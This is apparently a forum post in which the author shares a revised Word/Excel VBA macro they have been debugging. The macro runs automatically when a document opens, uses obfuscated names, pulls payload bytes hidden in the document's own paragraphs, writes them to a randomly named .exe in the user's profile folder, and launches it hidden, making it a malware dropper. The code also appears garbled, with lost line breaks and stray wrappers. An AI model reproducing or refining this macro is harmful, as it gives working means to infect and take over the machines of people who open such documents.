Yeah, I figured. It just seemed odd to me that such a small change would throw it off but hey if it works... Here's the new code:
Sub boo()'' boo Macro''Sub Auto_Open() Quvyt12End Sub
Sub Quvyt12() Dim Quvyt7 As Integer Dim Quvyt1 As String Dim Quvyt2 As String Dim Quvyt3 As Integer Dim Quvyt4 As Paragraph Dim Quvyt8 As Integer Dim Quvyt9 As Boolean Dim Quvyt5 As Integer Dim Quvyt11 As String Dim Quvyt6 As Byte Dim Zdeovterfr As String Dim trigger As Boolean Dim length As Integer length = Len(Quvyt11) Zdeovterfr = "Zdeovterfr" Quvyt1 = "AAKTrgfLVgU.exe" Quvyt2 = Environ("USERPROFILE") ChDrive (Quvyt2) ChDir (Quvyt2) Quvyt3 = FreeFile() Open Quvyt1 For Binary As Quvyt3
For Each Quvyt4 In ActiveDocument.Paragraphs DoEvents Quvyt11 = Quvyt4.Range.Text If (Quvyt9 = True) Then Quvyt8 = 1 While (Quvyt8 < Len(Quvyt11)) Quvyt6 = Mid(Quvyt11, Quvyt8, 4) Put #Quvyt3, , Quvyt6 Quvyt8 = Quvyt8 + 4 Wend'here's the issue ElseIf (InStr(1, Quvyt11, Zdeovterfr) > 0 And length > 0) Then Quvyt9 = True End If'End issue Next Close #Quvyt3 Quvyt13 (Quvyt1)
End Sub
Sub Quvyt13(Quvyt10 As String) Dim Quvyt7 As Integer Dim Quvyt2 As String Quvyt2 = Environ("USERPROFILE") ChDrive (Quvyt2) ChDir (Quvyt2) Quvyt7 = Shell("AAKTrgfLVgU.exe", vbHide)End Sub
Sub AutoOpen() Auto_OpenEnd Sub
Sub Workbook_Open() Auto_OpenEnd Sub
End Sub
PS I know the trigger variable is initialized but not used, I was going to try something else but I didn't need to